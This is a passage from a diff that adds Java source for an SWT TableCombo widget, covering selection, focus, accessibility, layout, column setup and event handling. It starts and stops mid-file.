    + */ + public Point getSelection() { + checkWidget(); + return text.getSelection(); + } + + /** + * Returns the zero-relative index of the item which is currently selected in the receiver's list, or -1 if no item + * is selected. + * @return the index of the selected item + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public int getSelectionIndex() { + checkWidget(); + return table.getSelectionIndex(); + } + + /** + * {@inheritDoc} + */ + public int getStyle() { + checkWidget(); + + int style = super.getStyle(); + style &= ~SWT.READ_ONLY; + if (!text.getEditable()) + style |= SWT.READ_ONLY; + return style; + } + + /** + * Returns a string containing a copy of the contents of the receiver's text field. + * @return the receiver's text + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public String getText() { + checkWidget(); + return text.getText(); + } + + /** + * Returns the height of the receivers's text field. + * @return the text height + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public int getTextHeight() { + checkWidget(); + return text.getLineHeight(); + } + + /** + * Gets the number of items that are visible in the drop down portion of the receiver's list. + * @return the number of items that are visible + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @since 3.0 + */ + public int getVisibleItemCount() { + checkWidget(); + return visibleItemCount; + } + + /** + * Handle Focus event + * @param type + */ + private void handleFocus(int type) { + switch (type) { + case SWT.FocusIn: { + if (hasFocus) + return; + if (getEditable()) { + text.selectAll(); + } + hasFocus = true; + Shell shell = getShell(); + shell.removeListener(SWT.Deactivate, listener); + shell.addListener(SWT.Deactivate, listener); + Display display = getDisplay(); + display.removeFilter(SWT.FocusIn, focusFilter); + display.addFilter(SWT.FocusIn, focusFilter); + Event e = new Event(); + notifyListeners(SWT.FocusIn, e); + break; + } + case SWT.FocusOut: { + if (!hasFocus) + return; + Control focusControl = getDisplay().getFocusControl(); + if (focusControl == arrow || focusControl == table || focusControl == text) + return; + hasFocus = false; + Shell shell = getShell(); + shell.removeListener(SWT.Deactivate, listener); + Display display = getDisplay(); + display.removeFilter(SWT.FocusIn, focusFilter); + Event e = new Event(); + notifyListeners(SWT.FocusOut, e); + break; + } + } + } + + /** + * Searches the receiver's list starting at the first item (index 0) until an item is found that is equal to the + * argument, and returns the index of that item. If no item is found, returns -1. + * @param string + * the search item + * @return the index of the item + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the string is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public int indexOf(String string) { + checkWidget(); + if (string == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + // get a list of the table items. + TableItem[] tableItems = table.getItems(); + + int totalItems = (tableItems == null ? 0 : tableItems.length); + int colIndex = getDisplayColumnIndex(); + + // now copy the display string from the tableitems. + for (int index = 0; index < totalItems; index++) { + if (string.equals(tableItems[index].getText(colIndex))) { + return index; + } + } + + return -1; + } + + /** + * Searches the receiver's list starting at the given, zero-relative index until an item is found that is equal to + * the argument, and returns the index of that item. If no item is found or the starting index is out of range, + * returns -1. + * @param string + * the search item + * @param start + * the zero-relative index at which to begin the search + * @return the index of the item + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the string is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public int indexOf(String string, int start) { + checkWidget(); + if (string == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + // get a list of the table items. + TableItem[] tableItems = table.getItems(); + + int totalItems = (tableItems == null ? 0 : tableItems.length); + + if (start < totalItems) { + + int colIndex = getDisplayColumnIndex(); + + // now copy the display string from the tableitems. + for (int index = start; index < totalItems; index++) { + if (string.equals(tableItems[index].getText(colIndex))) { + return index; + } + } + } + + return -1; + } + + /** + * sets whether or not to show table lines + * @param showTableLines + */ + public void setShowTableLines(boolean showTableLines) { + checkWidget(); + table.setLinesVisible(showTableLines); + } + + /** + * sets whether or not to show table header. + * @param showTableHeader + */ + public void setShowTableHeader(boolean showTableHeader) { + checkWidget(); + table.setHeaderVisible(showTableHeader); + } + + /** + * Add Accessbile listeners to label and table. + */ + void initAccessible() { + AccessibleAdapter accessibleAdapter = new AccessibleAdapter() { + public void getName(AccessibleEvent e) { + String name = null; + Label label = getAssociatedLabel(); + if (label != null) { + name = stripMnemonic(text.getText()); + } + e.result = name; + } + + public void getKeyboardShortcut(AccessibleEvent e) { + String shortcut = null; + Label label = getAssociatedLabel(); + if (label != null) { + String text = label.getText(); + if (text != null) { + char mnemonic = _findMnemonic(text); + if (mnemonic != '\0') { + shortcut = "Alt+" + mnemonic; //$NON-NLS-1$ + } + } + } + e.result = shortcut; + } + + public void getHelp(AccessibleEvent e) { + e.result = getToolTipText(); + } + }; + + getAccessible().addAccessibleListener(accessibleAdapter); + text.getAccessible().addAccessibleListener(accessibleAdapter); + table.getAccessible().addAccessibleListener(accessibleAdapter); + + arrow.getAccessible().addAccessibleListener(new AccessibleAdapter() { + public void getName(AccessibleEvent e) { + e.result = isDropped() ? SWT.getMessage("SWT_Close") : SWT.getMessage("SWT_Open"); //$NON-NLS-1$ //$NON-NLS-2$ + } + + public void getKeyboardShortcut(AccessibleEvent e) { + e.result = "Alt+Down Arrow"; //$NON-NLS-1$ + } + + public void getHelp(AccessibleEvent e) { + e.result = getToolTipText(); + } + }); + + getAccessible().addAccessibleTextListener(new AccessibleTextAdapter() { + public void getCaretOffset(AccessibleTextEvent e) { + e.offset = text.getCaretPosition(); + } + + public void getSelectionRange(AccessibleTextEvent e) { + Point sel = text.getSelection(); + e.offset = sel.x; + e.length = sel.y - sel.x; + } + }); + + getAccessible().addAccessibleControlListener(new AccessibleControlAdapter() { + public void getChildAtPoint(AccessibleControlEvent e) { + Point testPoint = toControl(e.x, e.y); + if (getBounds().contains(testPoint)) { + e.childID = ACC.CHILDID_SELF; + } + } + + public void getLocation(AccessibleControlEvent e) { + Rectangle location = getBounds(); + Point pt = getParent().toDisplay(location.x, location.y); + e.x = pt.x; + e.y = pt.y; + e.width = location.width; + e.height = location.height; + } + + public void getChildCount(AccessibleControlEvent e) { + e.detail = 0; + } + + public void getRole(AccessibleControlEvent e) { + e.detail = ACC.ROLE_COMBOBOX; + } + + public void getState(AccessibleControlEvent e) { + e.detail = ACC.STATE_NORMAL; + } + + public void getValue(AccessibleControlEvent e) { + e.result = text.getText(); + } + }); + + text.getAccessible().addAccessibleControlListener(new AccessibleControlAdapter() { + public void getRole(AccessibleControlEvent e) { + e.detail = text.getEditable() ? ACC.ROLE_TEXT : ACC.ROLE_LABEL; + } + }); + + arrow.getAccessible().addAccessibleControlListener(new AccessibleControlAdapter() { + public void getDefaultAction(AccessibleControlEvent e) { + e.result = isDropped() ? SWT.getMessage("SWT_Close") : SWT.getMessage("SWT_Open"); //$NON-NLS-1$ //$NON-NLS-2$ + } + }); + } + + /** + * returns if the drop down is currently open + * @return + */ + private boolean isDropped() { + return popup.getVisible(); + } + + /** + * {@inheritDoc} + */ + public boolean isFocusControl() { + checkWidget(); + // if (label.isFocusControl () || arrow.isFocusControl () || + // table.isFocusControl () || popup.isFocusControl ()) { + if (arrow.isFocusControl() || table.isFocusControl() || popup.isFocusControl()) { + return true; + } + return super.isFocusControl(); + } + + /** + * This method is invoked when a resize event occurs. + * @param changed + */ + private void internalLayout(boolean changed) { + if (isDropped()) + dropDown(false); + Rectangle rect = getClientArea(); + int width = rect.width; + int height = rect.height; + Point arrowSize = arrow.computeSize(SWT.DEFAULT, height, changed); + + // calculate text vertical alignment. + int textYPos = 0; + Point textSize = text.computeSize(SWT.DEFAULT, SWT.DEFAULT); + if (textSize.y < height) { + textYPos = (height - textSize.y) / 2; + } + + // does the selected entry have a image associated with it? + if (selectedImage.getImage() == null) { + // set image, text, and arrow boundaries + selectedImage.setBounds(0, 0, 0, 0); + text.setBounds(0, textYPos, width - arrowSize.x, textSize.y); + arrow.setBounds(width - arrowSize.x, 0, arrowSize.x, arrowSize.y); + } else { + // calculate the amount of width left in the control after taking + // into account the arrow selector + int remainingWidth = width - arrowSize.x; + Point imageSize = selectedImage.computeSize(SWT.DEFAULT, height, changed); + int imageWidth = imageSize.x + 2; + + // handle the case where the image is larger than the available + // space in the control. + if (imageWidth > remainingWidth) { + imageWidth = remainingWidth; + remainingWidth = 0; + } else { + remainingWidth = remainingWidth - imageWidth; + } + + // set the width of the text. + int textWidth = remainingWidth; + + // set image, text, and arrow boundaries + selectedImage.setBounds(0, 0, imageWidth, imageSize.y); + text.setBounds(imageWidth, textYPos, textWidth, textSize.y); + arrow.setBounds(imageWidth + textWidth, 0, arrowSize.x, arrowSize.y); + } + } + + /** + * Handles Table Events. + * @param event + * @throws IllegalAccessException + * @throws InvocationTargetException + * @throws NoSuchMethodException + */ + private void tableEvent(Event event) { + switch (event.type) { + case SWT.Dispose: + if (getShell() != popup.getParent()) { + int selectionIndex = table.getSelectionIndex(); + popup = null; + table = null; + createPopup(selectionIndex); + } + break; + case SWT.FocusIn: { + handleFocus(SWT.FocusIn); + break; + } + case SWT.MouseMove: { + TableItem item = table.getItem(new Point(event.x, event.y)); + if (item != null) { + table.setSelection(item); + } + break; + } + case SWT.MouseUp: { + if (event.button != 1) + return; + dropDown(false); + int index = table.getSelectionIndex(); + if (index == -1) + return; + + // refresh the text. + refreshText(index); + + // set the selection in the table. + table.setSelection(index); + Event e = new Event(); + e.time = event.time; + e.stateMask = event.stateMask; + e.doit = event.doit; + notifyListeners(SWT.Selection, e); + event.doit = e.doit; + break; + } + case SWT.Traverse: { + switch (event.detail) { + case SWT.TRAVERSE_RETURN: + case SWT.TRAVERSE_ESCAPE: + case SWT.TRAVERSE_ARROW_PREVIOUS: + case SWT.TRAVERSE_ARROW_NEXT: + event.doit = false; + break; + case SWT.TRAVERSE_TAB_NEXT: + case SWT.TRAVERSE_TAB_PREVIOUS: + event.doit = text.traverse(event.detail); + event.detail = SWT.TRAVERSE_NONE; + if (event.doit) + dropDown(false); + return; + } + Event e = new Event(); + e.time = event.time; + e.detail = event.detail; + e.doit = event.doit; + e.character = event.character; + e.keyCode = event.keyCode; + notifyListeners(SWT.Traverse, e); + event.doit = e.doit; + event.detail = e.detail; + break; + } + case SWT.KeyUp: { + Event e = new Event(); + e.time = event.time; + e.character = event.character; + e.keyCode = event.keyCode; + e.stateMask = event.stateMask; + notifyListeners(SWT.KeyUp, e); + break; + } + case SWT.KeyDown: { + if (event.character == SWT.ESC) { + // Escape key cancels popup list + dropDown(false); + } + if ((event.stateMask & SWT.ALT) != 0 && (event.keyCode == SWT.ARROW_UP || event.keyCode == SWT.ARROW_DOWN)) { + dropDown(false); + } + if (event.character == SWT.CR) { + // // Enter causes default selection + // System.out.println("test"); + // dropDown(false); + // Event e = new Event(); + // e.time = event.time; + // e.stateMask = event.stateMask; + // notifyListeners(SWT.MouseDown, e); + int index = table.getSelectionIndex(); + if (index == -1) + return; + + // refresh the text. + refreshText(index); + + // set the selection in the table. + table.setSelection(index); + Event e = new Event(); + e.time = event.time; + e.stateMask = event.stateMask; + e.doit = event.doit; + notifyListeners(SWT.Selection, e); + event.doit = e.doit; + } + // At this point the widget may have been disposed. + // If so, do not continue. + if (isDisposed()) + break; + Event e = new Event(); + e.time = event.time; + e.character = event.character; + e.keyCode = event.keyCode; + e.stateMask = event.stateMask; + notifyListeners(SWT.KeyDown, e); + break; + } + } + } + + /** + * Pastes text from clipboard. + *

    + * The selected text is deleted from the widget and new text inserted from the clipboard. + *

    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @since 3.3 + */ + public void paste() { + checkWidget(); + text.paste(); + } + + /** + * Handles Popup Events + * @param event + */ + private void popupEvent(Event event) { + switch (event.type) { + case SWT.Paint: + // draw rectangle around table + Rectangle tableRect = table.getBounds(); + event.gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION)); + event.gc.drawRectangle(0, 0, tableRect.width + 1, tableRect.height + 1); + break; + case SWT.Close: + event.doit = false; + dropDown(false); + break; + case SWT.Deactivate: + /* + * Bug in GTK. When the arrow button is pressed the popup control receives a deactivate event and then the + * arrow button receives a selection event. If we hide the popup in the deactivate event, the selection + * event will show it again. To prevent the popup from showing again, we will let the selection event of the + * arrow button hide the popup. In Windows, hiding the popup during the deactivate causes the deactivate to + * be called twice and the selection event to be disappear. + */ + if (!"carbon".equals(SWT.getPlatform())) { + Point point = arrow.toControl(getDisplay().getCursorLocation()); + Point size = arrow.getSize(); + Rectangle rect = new Rectangle(0, 0, size.x, size.y); + if (!rect.contains(point)) + dropDown(false); + } else { + dropDown(false); + } + break; + + case SWT.Help: + if (isDropped()) { + dropDown(false); + } + Composite comp = TableCombo.this; + do { + if (comp.getListeners(event.type) != null && comp.getListeners(event.type).length > 0) { + comp.notifyListeners(event.type, event); + break; + } + comp = comp.getParent(); + } while (null != comp); + break; + } + } + + /** + * {@inheritDoc} + */ + public void redraw() { + super.redraw(); + text.redraw(); + arrow.redraw(); + if (popup.isVisible()) + table.redraw(); + } + + /** + * {@inheritDoc} + */ + public void redraw(int x, int y, int width, int height, boolean all) { + super.redraw(x, y, width, height, true); + } + + /** + * Removes the listener from the collection of listeners who will be notified when the receiver's text is modified. + * @param listener + * the listener which should no longer be notified + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @see ModifyListener + * @see #addModifyListener + */ + public void removeModifyListener(ModifyListener listener) { + checkWidget(); + if (listener == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + removeListener(SWT.Modify, listener); + } + + /** + * Removes the listener from the collection of listeners who will be notified when the user changes the receiver's + * selection. + * @param listener + * the listener which should no longer be notified + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @see SelectionListener + * @see #addSelectionListener + */ + public void removeSelectionListener(SelectionListener listener) { + checkWidget(); + if (listener == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + removeListener(SWT.Selection, listener); + removeListener(SWT.DefaultSelection, listener); + } + + /** + * Removes the listener from the collection of listeners who will be notified when the control is verified. + * @param listener + * the listener which should no longer be notified + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @see VerifyListener + * @see #addVerifyListener + * @since 3.3 + */ + public void removeVerifyListener(VerifyListener listener) { + checkWidget(); + if (listener == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + removeListener(SWT.Verify, listener); + } + + /** + * Selects the item at the given zero-relative index in the receiver's list. If the item at the index was already + * selected, it remains selected. Indices that are out of range are ignored. + * @param index + * the index of the item to select + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public void select(int index) { + checkWidget(); + + // deselect if a value of -1 is passed in. + if (index == -1) { + table.deselectAll(); + text.setText(""); + selectedImage.setImage(null); + return; + } + + if (0 <= index && index < table.getItemCount()) { + if (index != getSelectionIndex()) { + + // refresh the text field and image label + refreshText(index); + + // select the row in the table. + table.setSelection(index); + } + } + } + + /** + * {@inheritDoc} + */ + public void setBackground(Color color) { + super.setBackground(color); + background = color; + if (text != null) + text.setBackground(color); + if (selectedImage != null) + selectedImage.setBackground(color); + if (table != null) + table.setBackground(color); + if (arrow != null) + arrow.setBackground(color); + } + + /** + * Sets the editable state. + * @param editable + * the new editable state + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @since 3.0 + */ + public void setEditable(boolean editable) { + checkWidget(); + text.setEditable(editable); + } + + /** + * {@inheritDoc} + */ + public void setEnabled(boolean enabled) { + super.setEnabled(enabled); + if (popup != null) + popup.setVisible(false); + if (selectedImage != null) + selectedImage.setEnabled(enabled); + if (text != null) + text.setEnabled(enabled); + if (arrow != null) + arrow.setEnabled(enabled); + } + + /** + * {@inheritDoc} + */ + public boolean setFocus() { + checkWidget(); + if (!isEnabled() || !isVisible()) + return false; + if (isFocusControl()) + return true; + + return text.setFocus(); + } + + /** + * {@inheritDoc} + */ + public void setFont(Font font) { + super.setFont(font); + this.font = font; + text.setFont(font); + table.setFont(font); + internalLayout(true); + } + + /** + * {@inheritDoc} + */ + public void setForeground(Color color) { + super.setForeground(color); + foreground = color; + if (text != null) + text.setForeground(color); + if (table != null) + table.setForeground(color); + if (arrow != null) + arrow.setForeground(color); + } + + /** + * Sets the layout which is associated with the receiver to be the argument which may be null. + *

    + * Note : No Layout can be set on this Control because it already manages the size and position of its children. + *

    + * @param layout + * the receiver's new layout or null + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public void setLayout(Layout layout) { + checkWidget(); + return; + } + + /** + * Marks the receiver's list as visible if the argument is true , and marks it invisible otherwise. + *

    + * If one of the receiver's ancestors is not visible or some other condition makes the receiver not visible, marking + * it visible may not actually cause it to be displayed. + *

    + * @param visible + * the new visibility state + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @since 3.4 + */ + public void setTableVisible(boolean visible) { + checkWidget(); + dropDown(visible); + } + + /** + * Sets the selection in the receiver's text field to the range specified by the argument whose x coordinate is the + * start of the selection and whose y coordinate is the end of the selection. + * @param selection + * a point representing the new selection start and end + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the point is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public void setSelection(Point selection) { + checkWidget(); + if (selection == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + text.setSelection(selection.x, selection.y); + } + + /** + * Sets the contents of the receiver's text field to the given string. + *

    + * Note: The text field in a Combo is typically only capable of displaying a single line of text. Thus, + * setting the text to a string containing line breaks or other special characters will probably cause it to display + * incorrectly. + *

    + * @param string + * the new text + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the string is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public void setText(String string) { + checkWidget(); + if (string == null) { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + + // find the index of the given string. + int index = indexOf(string); + + if (index == -1) { + table.deselectAll(); + text.setText(string); + return; + } + + // select the text and table row. + select(index); + } + + /** + * Sets the maximum number of characters that the receiver's text field is capable of holding to be the argument. + * @param limit + * new text limit + * @exception IllegalArgumentException + *
      + *
    • ERROR_CANNOT_BE_ZERO - if the limit is zero
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public void setTextLimit(int limit) { + checkWidget(); + text.setTextLimit(limit); + } + + /** + * {@inheritDoc} + */ + public void setToolTipText(String tipText) { + checkWidget(); + super.setToolTipText(tipText); + if (selectedImage != null) + selectedImage.setToolTipText(tipText); + if (text != null) + text.setToolTipText(tipText); + if (arrow != null) + arrow.setToolTipText(tipText); + } + + /** + * {@inheritDoc} + */ + public void setVisible(boolean visible) { + super.setVisible(visible); + /* + * At this point the widget may have been disposed in a FocusOut event. If so then do not continue. + */ + if (isDisposed()) + return; + // TEMPORARY CODE + if (popup == null || popup.isDisposed()) + return; + if (!visible) + popup.setVisible(false); + } + + /** + * Sets the number of items that are visible in the drop down portion of the receiver's list. + * @param count + * the new number of items to be visible + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @since 3.0 + */ + public void setVisibleItemCount(int count) { + checkWidget(); + if (count > 0) { + visibleItemCount = count; + } + } + + /** + * @param string + * @return + */ + private String stripMnemonic(String string) { + int index = 0; + int length = string.length(); + do { + while ((index < length) && (string.charAt(index) != '&')) + index++; + if (++index >= length) + return string; + if (string.charAt(index) != '&') { + return string.substring(0, index - 1) + string.substring(index, length); + } + index++; + } while (index < length); + return string; + } + + /** + * Defines what columns the drop down table will have. Use this method when you don't care about the width of the + * columns but want to set the column header text. + * @param columnHeaders + * @param columnWidths + */ + public void defineColumns(String[] columnHeaders) { + if (columnHeaders != null && columnHeaders.length > 0) { + defineColumnsInternal(columnHeaders, null, columnHeaders.length); + } + } + + /** + * Defines what columns the drop down table will have. Use this method when you don't care about the column header + * text but you want the fields to be a specific width. + * @param columnHeaders + * @param columnBounds + */ + public void defineColumns(int[] columnBounds) { + this.columnWidths = columnBounds; + + if (columnBounds != null && columnBounds.length > 0) { + defineColumnsInternal(null, columnBounds, columnBounds.length); + } + } + + /** + * Defines what columns the drop down table will have. Use this method when you don't care about the column headers + * and you want the columns to be automatically sized based upon their content. + * @param columnHeaders + * @param columnWidths + */ + + public void defineColumns(int numberOfColumnsToCreate) { + if (numberOfColumnsToCreate > 0) { + defineColumnsInternal(null, null, numberOfColumnsToCreate); + } + + } + + /** + * Defines what columns the drop down table will have. Use this method when you want to specify the column header + * text and the column widths. + * @param columnHeaders + * @param columnBounds + */ + public void defineColumns(String[] columnHeaders, int[] columnBounds) { + if (columnHeaders != null || columnBounds != null) { + int total = columnHeaders == null ? 0 : columnHeaders.length; + if (columnBounds != null && columnBounds.length > total) { + total = columnBounds.length; + } + + this.columnWidths = columnBounds; + + // define the columns + defineColumnsInternal(columnHeaders, columnBounds, total); + } + } + + /** + * Defines what columns the drop down table will have. + * @param columnHeaders + * @param columnBounds + */ + private void defineColumnsInternal(String[] columnHeaders, int[] columnBounds, int totalColumnsToBeCreated) { + + checkWidget(); + + int totalColumnHeaders = columnHeaders == null ? 0 : columnHeaders.length; + int totalColBounds = columnBounds == null ? 0 : columnBounds.length; + + if (totalColumnsToBeCreated > 0) { + + for (int index = 0; index < totalColumnsToBeCreated; index++) { + TableColumn column = new TableColumn(table, SWT.NONE); + + if (index < totalColumnHeaders) { + column.setText(columnHeaders[index]); + } + + if (index < totalColBounds) { + column.setWidth(columnBounds[index]); + } + + column.setResizable(true); + column.setMoveable(true); + } + } + } + + /** + * Sets the table width percentage in relation to the width of the label control. The default value if 100% which + * means that it will be the same size as the label control. If you want the table to be wider than the label then + * just display a value higher than 100%. + * @param ddWidthPct + */ + public void setTableWidthPercentage(int ddWidthPct) { + checkWidget(); + + // don't accept invalid input. + if (ddWidthPct > 0 && ddWidthPct <= 100) { + this.tableWidthPercentage = ddWidthPct; + } + } + + /** + * Sets the zero-relative column index that will be used to display the currently selected item in the label + * control. + * @param displayColumnIndex + */ + public void setDisplayColumnIndex(int displayColumnIndex) { + checkWidget(); + + if (displayColumnIndex >= 0) { + this.displayColumnIndex = displayColumnIndex; + } + } + + /** + * returns the column index of the TableColumn to be displayed when selected. + * @return + */ + private int getDisplayColumnIndex() { + // make sure the requested column index is valid. + return (displayColumnIndex <= (table.getColumnCount() - 1) ? displayColumnIndex : 0); + } + + /* + * Return the lowercase of the first non-'&' character following an '&' character in the given string. If there are + * no '&' characters in the given string, return '\0'. + */ + private char _findMnemonic(String string) { + if (string == null) + return '\0'; + int index = 0; + int length = string.length(); + do { + while (index < length && string.charAt(index) != '&') + index++; + if (++index >= length) + return '\0'; + if (string.charAt(index) != '&') + return Character.toLowerCase(string.charAt(index)); + index++; + } while (index < length); + return '\0'; + } + + /** + * Refreshes the label control with the selected object's details. + */ + private void refreshText(int index) { + + // get a reference to the selected TableItem + TableItem tableItem = table.getItem(index); + + // get the TableItem index to use for displaying the text. + int colIndexToUse = getDisplayColumnIndex(); + + // set image if requested + if (showImageWithinSelection) { + // set the selected image + selectedImage.setImage(tableItem.getImage(colIndexToUse)); + + // refresh the layout of the widget + internalLayout(false); + } + + // set color if requested + if (showColorWithinSelection) { + text.setForeground(tableItem.getForeground(colIndexToUse)); + } + + // set font if requested + if (showFontWithinSelection) { + // set the selected font + text.setFont(tableItem.getFont(colIndexToUse)); + } + + // set the label text. + String str = tableItem.getText(colIndexToUse); + text.setText(str); + text.setData(index + ""); + // text.selectAll(); + text.setSelection(str.length(), str.length()); + } + + /** + * @param showImageWithinSelection + */ + public void setShowImageWithinSelection(boolean showImageWithinSelection) { + checkWidget(); + this.showImageWithinSelection = showImageWithinSelection; + } + + /** + * @param showColorWithinSelection + */ + public void setShowColorWithinSelection(boolean showColorWithinSelection) { + checkWidget(); + this.showColorWithinSelection = showColorWithinSelection; + } + + /** + * @param showFontWithinSelection + */ + public void setShowFontWithinSelection(boolean showFontWithinSelection) { + checkWidget(); + this.showFontWithinSelection = showFontWithinSelection; + } + + /** + * returns the Table reference. NOTE: the access is public for now but will most likely be changed in a future + * release. + * @return + */ + public Table getTable() { + checkWidget(); + return table; + } + + /** + * determines if the user explicitly set a column width for a given column index. + * @param columnIndex + * @return + */ + private boolean wasColumnWidthSpecified(int columnIndex) { + return (columnWidths != null && columnWidths.length > columnIndex && columnWidths[columnIndex] != SWT.DEFAULT); + } + + void textEvent(Event event) { + switch (event.type) { + case SWT.FocusIn: { + handleFocus(SWT.FocusIn); + break; + } + case SWT.DefaultSelection: { + dropDown(false); + Event e = new Event(); + e.time = event.time; + e.stateMask = event.stateMask; + notifyListeners(SWT.DefaultSelection, e); + break; + } + case SWT.KeyDown: { + Event keyEvent = new Event(); + keyEvent.time = event.time; + keyEvent.character = event.character; + keyEvent.keyCode = event.keyCode; + keyEvent.stateMask = event.stateMask; + notifyListeners(SWT.KeyDown, keyEvent); + if (isDisposed()) + break; + event.doit = keyEvent.doit; + if (!event.doit) + break; + if (event.keyCode == SWT.ARROW_UP || event.keyCode == SWT.ARROW_DOWN) { + event.doit = false; + if ((event.stateMask & SWT.ALT) != 0) { + boolean dropped = isDropped(); + text.selectAll(); + if (!dropped) + setFocus(); + dropDown(!dropped); + break; + } + + int oldIndex = table.getSelectionIndex(); + if (event.keyCode == SWT.ARROW_UP) { + select(Math.max(oldIndex - 1, 0)); + } else { + select(Math.min(oldIndex + 1, getItemCount() - 1)); + } + if (oldIndex != table.getSelectionIndex()) { + Event e = new Event(); + e.time = event.time; + e.stateMask = event.stateMask; + notifyListeners(SWT.Selection, e); + } + if (isDisposed()) + break; + } + + // Further work : Need to add support for incremental search in + // pop up list as characters typed in text widget + break; + } + case SWT.KeyUp: { + Event e = new Event(); + e.time = event.time; + e.character = event.character; + e.keyCode = event.keyCode; + e.stateMask = event.stateMask; + notifyListeners(SWT.KeyUp, e); + event.doit = e.doit; + break; + } + case SWT.MenuDetect: { + Event e = new Event(); + e.time = event.time; + notifyListeners(SWT.MenuDetect, e); + break; + } + case SWT.Modify: { + table.deselectAll(); + Event e = new Event(); + e.time = event.time; + notifyListeners(SWT.Modify, e); + break; + } + case SWT.MouseDown: { + Event mouseEvent = new Event(); + mouseEvent.button = event.button; + mouseEvent.count = event.count; + mouseEvent.stateMask = event.stateMask; + mouseEvent.time = event.time; + mouseEvent.x = event.x; + mouseEvent.y = event.y; + notifyListeners(SWT.MouseDown, mouseEvent); + if (isDisposed()) + break; + event.doit = mouseEvent.doit; + if (!event.doit) + break; + if (event.button != 1) + return; + if (text.getEditable()) + return; + boolean dropped = isDropped(); + text.selectAll(); + if (!dropped) + setFocus(); + dropDown(!dropped); + break; + } + case SWT.MouseUp: { + Event mouseEvent = new Event(); + mouseEvent.button = event.button; + mouseEvent.count = event.count; + mouseEvent.stateMask = event.stateMask; + mouseEvent.time = event.time; + mouseEvent.x = event.x; + mouseEvent.y = event.y; + notifyListeners(SWT.MouseUp, mouseEvent); + if (isDisposed()) + break; + event.doit = mouseEvent.doit; + if (!event.doit) + break; + if (event.button != 1) + return; + if (text.getEditable()) + return; + text.selectAll(); + break; + } + case SWT.MouseDoubleClick: { + Event mouseEvent = new Event(); + mouseEvent.button = event.button; + mouseEvent.count = event.count; + mouseEvent.stateMask = event.stateMask; + mouseEvent.time = event.time; + mouseEvent.x = event.x; + mouseEvent.y = event.y; + 